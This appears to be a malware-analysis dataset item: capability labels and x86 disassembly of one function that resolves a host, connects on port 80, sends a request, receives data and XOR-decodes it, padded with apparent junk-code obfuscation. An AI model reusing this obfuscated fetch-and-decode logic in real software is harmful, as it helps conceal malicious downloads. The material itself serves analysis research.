Function at 0x407d20
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c020
push 0xffffffffffffffff
push 0x41df4b
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x426130]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
fst qword [ebp - 0x48]
mov byte [ebp + 0x11bc], bl
fldz
mov byte [ebp - 4], 1
fst dword [ebp - 0x28]
fxch st(1)
mov dword [ebp - 0x38], ebx
fst qword [ebp - 0x40]
mov dword [ebp - 0x4c], ebx
fst qword [ebp - 0x54]
mov dword [ebp - 0x1c], ebx
fxch st(1)
fstp dword [ebp - 0x24]
fstp qword [ebp - 0x34]
mov dword [ebp - 0x2c], ebx
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x28], edx
fild dword [ebp - 0x28]
fsub dword [0x425280]
fsub qword [0x41f870]
fld dword [0x424c58]
fadd qword [0x41f868]
fucompp
fnstsw ax
fld dword [0x424c58]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x424c58]
test ah, 0x44
jp 0x407e06
mov eax, 0x4564
mov word [0x423700], ax
jmp 0x407e3a
fld qword [ebp - 0x48]
fsub st(1)
fstp qword [ebp - 0x48]
mov cx, word [0x42511c]
movsx edx, cx
mov dword [ebp - 0x28], edx
fild dword [ebp - 0x28]
fld qword [ebp - 0x48]
fsubr qword [0x41f860]
fsub qword [0x41f858]
fsubp st(1)
call fcn.0040ab70
mov word [0x42511c], ax
mov esi, dword [ebp + 0x1448]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407e45
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x408677
xor eax, eax
cmp eax, edi
jg 0x407ecf
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x407eca
fld dword [0x42371c]
mov ecx, eax
fadd st(1)
fstp dword [0x42371c]
fld dword [ebp - 0x24]
fld dword [0x42371c]
mov byte [ebp + eax + 0x13bc], 0
fadd qword [0x41f850]
fsubp st(1)
fstp dword [ebp - 0x24]
fld qword [0x41f848]
cmp ecx, edi
jg 0x407ecd
fld qword [ebp - 0x40]
mov bl, byte [ecx + esi]
fsub st(1)
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
fmul qword [ebp - 0x34]
inc ecx
xor ebx, ebx
fstp qword [ebp - 0x34]
fld qword [ebp - 0x40]
fadd st(2)
fstp qword [ebp - 0x40]
jmp 0x407ea0
inc eax
jmp 0x407e5b
fstp st(0)
lea eax, [ebp + 0x11bc]
fstp st(0)
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ee0
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ef3
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x407f26
cmp dword [ebp + 0x1b8], 0x10
jb 0x408679
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040a704
add esp, 4
jmp 0x408679
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f30
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407f40
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425fd0
rep movsb byte es:[edi], byte [esi]
call fcn.00401930
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f70
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407b00
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
fstp qword [ebp - 0x34]
mov ecx, 0x1852
mov byte [esi + 4], al
push esi
mov word [0x4236d4], cx
call fcn.0040ac1b
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407fb3
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00407be0
push 0x32
push 0x424874
call fcn.00401930
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407fe3
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407be0
fldz
push 0x32
push ebx
mov dword [ebp - 0x14], ebx
fstp qword [ebp - 0x34]
push esi
call fcn.0040acb0
mov eax, 0x1852
push esi
mov word [0x4236d4], ax
call fcn.0040ac1b
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408027
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00407be0
add dword [0x423188], 0x127318b9
push 5
push 0x4248d4
call fcn.00401930
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408061
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407be0
mov edi, 1
add word [0x424c5c], di
mov dx, word [0x424c5c]
movsx eax, dx
sub eax, 0x1bdfae46
cmp eax, 0xd8e1e5d9
je 0x4080e7
fld dword [str._lU_f]
fcomp qword [0x41f840]
fnstsw ax
fld dword [str._lU_f]
fadd qword [0x41f340]
fstp dword [str._lU_f]
test ah, 0x41
jne 0x4080d5
mov ecx, dword [0x4231f0]
sub ecx, 0x7d863116
mov dword [ebp - 0x1c], ecx
dec dword [0x4231f0]
jmp 0x4080e7
fld dword [0x423250]
fadd qword [0x41f838]
fstp dword [0x423250]
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
fstp qword [ebp - 0x34]
mov edx, 0x1852
mov byte [esi + 4], al
push esi
mov word [0x4236d4], dx
call fcn.0040ac1b
add esp, 4
lea eax, [ebp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x408165
fld qword [0x4236f0]
push 6
fsub qword [0x41f830]
push edi
push 2
fstp qword [0x4236f0]
call sub.WS2_32.dll_socket
mov edx, dword [ebp - 0x1c]
mov esi, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], edx
cmp esi, 0xffffffff
jne 0x408186
mov eax, dword [ebp - 0x1c]
add eax, 0x6efe74a7
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [ebp - 0x24]
fstp dword [ebp - 0x24]
add dword [ebp - 0x1c], edi
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x408679
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040a704
add esp, 4
jmp 0x408679
cmp dword [ebp + 0x1458], ebx
je 0x4081e2
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov eax, dword [0x4231c0]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fld dword [0x4231ec]
fadd dword [0x424cc0]
fadd qword [0x41f828]
fsubp st(1)
call fcn.0040ab70
mov dword [0x4231c0], eax
fld dword [0x4231ec]
fsub qword [0x41f340]
fstp dword [0x4231ec]
lea ecx, [ebp + 0x13bc]
push ecx
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x4081fe
cmp dword [ebp + 0x1b8], 0x10
jmp 0x40861f
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp + 0x194], eax
add dword [ebp - 0x38], 0x3e24025e
push 0x50
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408270
cmp dword [ebp + 0x1b8], edi
jb 0x408679
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040a704
add esp, 4
jmp 0x408679
fld qword [0x41f820]
mov eax, dword [ebp + 0x1a4]
fstp qword [ebp - 0x34]
cmp dword [ebp + 0x1b8], edi
jae 0x40828d
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jb 0x408619
mov ecx, dword [ebp - 0x20]
push ebx
push 0x41f818
call fcn.00407b00
mov ax, word [0x425270]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fld qword [ebp - 0x54]
fadd qword [0x41f810]
fadd qword [0x41f808]
fsubp st(1)
call fcn.0040ab70
mov word [0x425270], ax
fld qword [ebp - 0x54]
fadd qword [0x41f340]
or esi, 0xffffffff
mov edi, esi
mov ebx, esi
fstp qword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call sub.WS2_32.dll_recv
test eax, eax
jg 0x408336
mov cx, word [0x423180]
mov edx, dword [0x42374c]
movsx eax, cx
sub eax, edx
mov dword [ebp - 0x2c], eax
add dword [0x42374c], esi
add word [0x423180], si
jmp 0x40851b
mov ecx, dword [ebp - 0x20]
push eax
lea eax, [ebp + 0x1bc]
push eax
call fcn.00407be0
test edi, edi
jge 0x4084ee
fld qword [0x4236f0]
push 5
fmul qword [ebp - 0x54]
push 0x4248d4
fstp qword [0x4236f0]
call fcn.00401930
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408371
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.004044d0
fldz
mov edi, eax
xor eax, eax
mov dword [ebp - 0x14], eax
fstp qword [ebp - 0x18]
mov dword [esi], eax
mov ecx, 0x1852
mov byte [esi + 4], al
mov word [0x4236d4], cx
push esi
call fcn.0040ac1b
fld qword [0x4231e0]
fsubr qword [0x41f800]
add esp, 4
fsub dword [0x4231a8]
call fcn.0040ab70
mov word [0x423690], ax
fld qword [0x4231e0]
fadd qword [0x41f340]
fstp qword [0x4231e0]
test edi, edi
jl 0x4084bd
mov edx, dword [ebp - 0x20]
push edx
add edi, 4
call fcn.00406620
mov ebx, eax
add esp, 4
mov dword [ebp - 0x38], ebx
test ebx, ebx
jge 0x4084bd
mov ax, word [0x4252a0]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
push 0xb
or ebx, 0xffffffff
fild dword [ebp - 0x14]
push 0x42483c
fmul dword [0x424c48]
fstp dword [0x424c48]
add word [0x4252a0], bx
call fcn.00401930
fld qword [0x423190]
fsubr qword [0x41f7f8]
mov esi, eax
add esp, 8
fadd qword [0x41f7f0]
fld qword [ebp - 0x40]
fcompp
fnstsw ax
fld qword [ebp - 0x40]
fsub qword [0x41f340]
fstp qword [ebp - 0x40]
test ah, 0x41
jp 0x408492
add dword [ebp - 0x1c], ebx
fld qword [ebp - 0x48]
mov edx, dword [ebp - 0x1c]
fadd qword [0x41f7e8]
mov ax, word [0x42315c]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
faddp st(1)
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040ab70
mov word [0x42315c], ax
mov ecx, dword [ebp - 0x20]
push 0
push esi
call fcn.00406380
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x58bba5a2
push esi
push 0xb
mov ebx, eax
mov dword [ebp - 0x1c], edx
call fcn.004014c0
add esp, 8
test ebx, ebx
jge 0x40851b
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fld dword [0x425ff8]
fsub qword [0x41f7e0]
fsubp st(1)
call fcn.0040ab70
mov dword [ebp - 0x4c], eax
fld dword [0x425ff8]
fsub qword [0x41f340]
fstp dword [0x425ff8]
test ebx, ebx
jl 0x4084fe
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x40851b
cmp dword [ebp + 0x1458], 0
je 0x408632
mov edx, dword [ebp - 0x20]
cmp dword [edx + 0x14], 0x4000
jb 0x408632
mov eax, dword [ebp - 0x28]
fld dword [0x41f7d8]
fstp dword [0x42329c]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmul qword [ebp - 0x34]
fstp qword [ebp - 0x34]
call sub.WS2_32.dll_WSACleanup
mov esi, dword [ebp - 0x20]
test edi, edi
jl 0x408591
push edi
push 0
mov ecx, esi
call fcn.004062f0
fld qword [ebp - 0x34]
fsub qword [0x41f7d0]
fcomp qword [0x41f7c8]
fnstsw ax
fld qword [ebp - 0x34]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x34]
test ah, 0x44
jnp 0x408593
fld qword [0x4248f8]
fsub qword [0x41f7c0]
fadd qword [0x424928]
fstp qword [0x424928]
jmp 0x408593
fld1
fld qword [ebp - 0x34]
mov dl, byte [ebp + 0x1454]
fadd st(1)
mov edi, 0x10
fstp qword [ebp - 0x34]
fld dword [ebp - 0x24]
fsub qword [ebp - 0x34]
fsub qword [0x41f7b8]
fstp qword [ebp - 0x40]
fsubr dword [ebp - 0x24]
fstp dword [ebp - 0x24]
test dl, dl
je 0x4085fb
xor eax, eax
cmp eax, dword [esi + 0x14]
jae 0x4085de
cmp dword [esi + 0x18], edi
jb 0x4085d4
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x4085c1
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x4085c1
mov edx, dword [ebp - 0x4c]
sub edx, 0x404f622d
cmp edx, 0x1a59a81e
jle 0x4085fb
fld qword [ebp - 0x40]
fmul qword [0x41f7b0]
fstp qword [ebp - 0x40]
mov ax, word [0x424908]
mov ecx, dword [ebp - 0x2c]
cwde
sub ecx, eax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fadd dword [0x426030]
fadd qword [ebp - 0x48]
fstp qword [ebp - 0x48]
cmp dword [ebp + 0x1b8], edi
jb 0x408679
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040a704
add esp, 4
jmp 0x408679
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
or esi, 0xffffffff
fadd qword [ebp - 0x48]
fsub dword [ebp - 0x24]
add dword [ebp - 0x2c], esi
fcomp qword [0x41f7a8]
fnstsw ax
test ah, 5
jp 0x4082f4
movzx ecx, word [0x4232ac]
imul ecx, ecx, 0xe1d7ed39
mov word [0x4232ac], cx
jmp 0x4082f4
fstp st(0)
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b294
add ebp, 0x1440
mov esp, ebp
pop ebp
ret